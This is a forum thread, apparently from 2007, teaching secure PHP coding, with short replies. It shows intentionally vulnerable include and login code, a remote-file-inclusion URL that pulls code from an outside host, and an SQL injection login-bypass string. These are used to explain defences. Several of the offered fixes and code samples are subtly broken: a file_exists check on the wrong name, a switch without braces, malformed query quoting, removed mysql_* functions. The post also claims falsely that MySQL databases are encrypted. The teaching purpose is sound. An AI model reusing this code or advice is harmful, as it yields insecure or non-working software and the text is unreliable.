Secure PHP Coding

Write your "How To" regarding anything you are comfortable with and you feel it will help the forum members.

NOTE :: All threads started here will appear only after the approval from Administrator
Post Reply
anish
Posts: 353
Joined: Fri Apr 27, 2007 12:34 pm
Contact:

Secure PHP Coding

Post by anish »

Secure Php Coding

Today, PHP is a very common and very popular scripting language that is used by many people over the world. However, many php scripts that they make are vulnerable to 'hacks' by leaving some security holes open. This article will explain how someone can abuse your script and can alter your site/files, but also (even more important), this article will tell you how to PREVENT your site from being hacked and how to spot and fix those security holes.

Contents:

- Chapter 1 : To serve or not to serve
- Chapter 2 : MySql, friend or foe?
- Conclusion

Chapter 1

As many people know, you can use the include command to will save you from doing tedious copy's and paste's by including a file directly into the script for processing. Almost everyone that uses PHP in their website use it to make it easier to serve it's contents.

a small example

Code: Select all

INDEX.PHP
------------
<?php
 $page = $_GET['page'];
  include ($page.'txt');
?>


The include-line opens the file $page, add the extension .txt to it and virtually pastes the contents instead of the include line. variable $page is filled by using a GET request in your browser.

e.g. <a href="index.php?page=foobar">**** here</a>

However, what if someone does this

index.php?page=http://kakashi.com/exploitcode

This will have YOUR index.php running PHP code (from the file exploitcode.txt , the script adds the txt extension itself (in this case)) from another site, there's no need to say that now you're entire site is open and the attacker can run any code he/she wants at will.

We ofcourse certainly don't want this, so here are a few ways to prevent this from happening.

1. using the file_exists command that verifies if a file exists on the server itself. eg.

Code: Select all

<?php
 $page = $_GET['page'];
 if (file_exists($page))
{ 
   include ($page.'txt');
 }
?>

This will first check if the file exists on the server itself and will not include files from other servers. (In php5 it's slightly different, see http://www.php.net/manual/en/function.file-exists.php)

2. Second method (my personal favorite), i like to call this method barrier style. It's perfect only it needs quite more code. example:

Code: Select all

<?php
 $page = $_get['page'];
 switch ($page)
   default:
     include ('home.txt');
     break;
   case 'foobar':
     include ('foobar.txt');
     break;
   case 'links':
     [I]etc etc[/I]

This actually places some sort of barrier between the user input and the execution. This is what is does.

the switch is an extended if-then sequence, it basicly checks every 'case' and watches if there is a value stated behind it that matches the input variable. If it matches it then will do the action stated under it and jump out of the switch at the break command. Since the input is always checked so it's no use to enter something that will leave your script open, e.g. If you'd enter http://a.com/xploit.txt, it would not match up with any of the cases and will force the default action to be executed.

3. Of course there are many other ways to do this but the most important thing is to check the user input.

This brings us to the second chapter, mysql

Chapter 2

It's also a common sign for site use databases like MySQL, since I don't give a ** about M$-SQL, I will discuss MySQL only.

For password authentications, MySQL databases can prove to be very usefull and hold a few advantages to flat-files, they are encrypted, they are password protected and they are way easier to manage. Here's a little example system

Code: Select all

<?php
 $handle = mysql_connect($server,$user,$pass);
  mysql_select_db($databasename);
   
  $input_user = $_POST['user'];
  $input_pass = $_POST['pass'];
  $result = mysql_query('SELECT * FROM users WHERE user = '{$input_user}' AND pass = '{$input_pass});
  if (mysql_num_rows($result) == 0)
  {
     echo 'Not logged in';
   }
   else
   {
     echo 'Logged in';
    }
?>

The system first connects to the database server with the username and password. Then it selects the database. (note. I left out the error handling code because it's not relevant in this case).

Then it searches the table users for records (rows) that have $user as user and $pass as password. Since every user must be unique, all you need is to count the number of rows that has the correct password/username. For that we use the mysql_num_rows command, it simply returns the number of rows that are in the result of the previous query.

This system can also be easily exploited.

let's say that we have something like this

SELECT * FROM users WHERE user = 'foobar'-- AND 'a'='a' AND pass = 'thisdoesnotmatter'

In this case, the inputted username is foobar'-- AND 'a'='a
Since the input is not checked, the script plainly passes the input to the query. The query will do something different now, the -- tells the SQL server to ignore everything that comes after it so the query would look like this : SELECT * FROM users WHERE user = 'foobar' ...... Well I guess anyone would see this is a free login without even needing to know the password. There are endless variations like using .. OR .. statements, or UNION statements etc etc.

To prevent this kind of abuse you need to know the following stuff. MySQL is very sensitive for quotes placed on the wrong place. Luckily, there is a command that will addslashes to a string to neutralize those bloody quotes, mysql_real_escape_string() does that, it makes the input foobar'-- AND 'a'='a looks like
foobar\'-- AND \'a\'=\'a, which can be inserted into a query without a prob since it will check for the username foobar'-- AND 'a'='a, which is not a danger. Because now it cannot cut off the rest of query as it previously could.

Conclusion

This kinda wraps it up for today, these are the most important things to look at if you ever decide to create some site in PHP. There is one rule that is highly important and if you live by it you should be quite safe:

Don't ever ever trust the bloody user input

Why? you ask, that's logical, it's USER input.

normal-user = user
american = user
hacker = user

On the other hand, if you do get hacked, check the serverlogs and see how he got in. These mistakes aren't beginner-mistakes, most bulletin board software system exploits also work in this way (slightly more complicated though).

tip: If you learn to write cleanish and neat code, indents and stuff. It's much easier to debug .

Anish


CryptWizard
Posts: 4
Joined: Sat Apr 28, 2007 8:44 am

Post by CryptWizard »

Using mysql_real_escape_string() on a server that has magic_quotes_gpc enabled will cause the string to be quoted twice.

This is a function I wrote to get aroudn that:

Code: Select all

function mysql_real_escape_gpc($link, $input)
{
return mysql_real_escape_string($link, (get_magic_quotes_gpc() ? stripslashes($input) : $input));
}
Flipper3
Posts: 353
Joined: Tue Feb 28, 2006 12:34 am

Post by Flipper3 »

Great post there!

Most of this is pretty basic, but beginning programmers never realize what others can do.

I do recommend: strip_tags() to be used as well as htmlspecialchars(). This is best for when displaying data. ;) mysql_pconnect() is also good to use on a busy website because it stops the database from being crowded with tons of connections being made and then stopped, etc.

I also do recommend using errors, like this:

Code: Select all

<?php
//Get the number
$number = $_GET['number'];

//Check if it's not a number
if(!ctype_digit($number)){

//Display this if it isn't a number
echo "Error: You did not enter in a valid number!";

//Set the variable: $error to 1 since it is not a number
$error = "1";
}

//If the variable $error was not set then continue
if(!$error=='1'){

////////////////////////////////////
//Do everything else here///
//////////////////////////////////

}
?>
CryptWizard
Posts: 4
Joined: Sat Apr 28, 2007 8:44 am

Post by CryptWizard »

I find it good to use mysql_pconnect anyway, since it helps your pages load time because there's no overhead of establishing a MySQL connection every time.
Segman
Posts: 22
Joined: Thu Apr 12, 2007 11:46 pm

Post by Segman »

i think it's cool, i will try it and tel you
Post Reply